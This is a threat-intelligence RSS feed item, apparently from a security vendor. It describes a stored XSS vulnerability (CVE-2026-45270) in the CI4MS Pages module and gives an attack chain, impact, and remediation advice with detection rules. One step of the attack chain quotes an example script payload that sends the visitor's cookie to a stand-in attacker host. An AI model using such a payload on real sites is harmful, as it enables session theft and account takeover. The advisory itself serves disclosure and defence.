<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>CodeIgniter — CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/vendors/codeigniter/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata. Fed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Mon, 18 May 2026 16:24:57 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/vendors/codeigniter/feed.xml" rel="self" type="application/rss+xml"/><item><title>CI4MS Stored XSS Vulnerability in Pages Module</title><link>https://feed.craftedsignal.io/briefs/2026-05-ci4ms-stored-xss/</link><pubDate>Mon, 18 May 2026 16:24:57 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-05-ci4ms-stored-xss/</guid><description>A stored XSS vulnerability (CVE-2026-45270) exists in the Pages module of CI4MS due to improper sanitization of page content, allowing an attacker with `pages.create` permissions to inject malicious code and escalate privileges if an administrator views the page.</description><content:encoded><![CDATA[<p>A stored XSS vulnerability exists within the Pages module of the CI4MS application, specifically affecting versions 0.31.8.0 and earlier. This vulnerability arises from the failure to properly sanitize user-supplied content within the Pages module&rsquo;s backend. The <code>html_purify</code> validation rule is registered, but the raw, unpurified POST data is directly persisted into the <code>pages_langs.content</code> database column. The public renderer for pages emits this unsanitized content without proper escaping, leading to XSS. An attacker with content author privileges (<code>pages.create</code>) can inject arbitrary JavaScript code, which executes when a user, including an administrator, views the affected page. Furthermore, pages can be promoted to the site&rsquo;s home page, broadening the attack surface to all visitors.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker authenticates to the CI4MS backend with <code>pages.create</code> or <code>pages.update</code> permissions.</li>
<li>The attacker crafts a malicious payload containing JavaScript code (e.g., <code>&lt;script&gt;fetch(&quot;https://attacker.example/?c=&quot;+encodeURIComponent(document.cookie))&lt;/script&gt;</code>).</li>
<li>The attacker creates or updates a page via the <code>/backend/pages/create</code> or <code>/backend/pages/update</code> endpoints, injecting the malicious payload into the <code>lang[en][content]</code> field.</li>
<li>The application&rsquo;s <code>Pages</code> controller registers the <code>html_purify</code> validation rule, but fails to apply the sanitized result to the database.</li>
<li>The raw, unsanitized payload is stored in the <code>pages_langs.content</code> column in the database.</li>
<li>A user visits the public URL of the created page (e.g., <code>/poc-page-xss</code>), triggering the <code>Home::index()</code> controller.</li>
<li>The <code>Home::index()</code> controller retrieves the unsanitized content from the database.</li>
<li>The template at <code>app/Views/templates/default/pages.php</code> emits the raw content via <code>&lt;?php echo $pageInfo-&gt;content ?&gt;</code> without escaping, causing the JavaScript code to execute in the user&rsquo;s browser.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows an attacker to execute arbitrary JavaScript code in the browser of any visitor to the compromised page. If an administrator visits the page, their session cookie can be exfiltrated, leading to complete account takeover. The attacker requires only <code>pages.create</code> permissions, which are typically assigned to non-admin content authors, enabling privilege escalation. By setting the malicious page as the home page, the attacker can ensure that every visitor to the site is potentially compromised.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Apply the vendor-provided fix by calling <code>CustomRules::sanitizeHtml()</code> before persisting the content in <code>modules/Pages/Controllers/Pages.php</code> (see snippet in advisory).</li>
<li>Deploy the Sigma rule &ldquo;Detect CI4MS Pages Module Stored XSS Attempt via HTTP POST&rdquo; to identify potential exploitation attempts in web server logs.</li>
<li>Review and update other modules using the <code>html_purify</code> validation rule to ensure proper sanitization.</li>
<li>Enable output escaping for fields not intended to contain raw HTML to provide defense-in-depth.</li>
<li>Monitor web server logs for requests to <code>/backend/pages/create</code> and <code>/backend/pages/update</code> with suspicious content in the <code>lang[en][content]</code> parameter using the Sigma rule &ldquo;Detect CI4MS Pages Module Stored XSS Payload in HTTP POST Data&rdquo;.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">threat</category><category>xss</category><category>stored-xss</category><category>ci4ms</category><category>cve-2026-45270</category></item></channel></rss>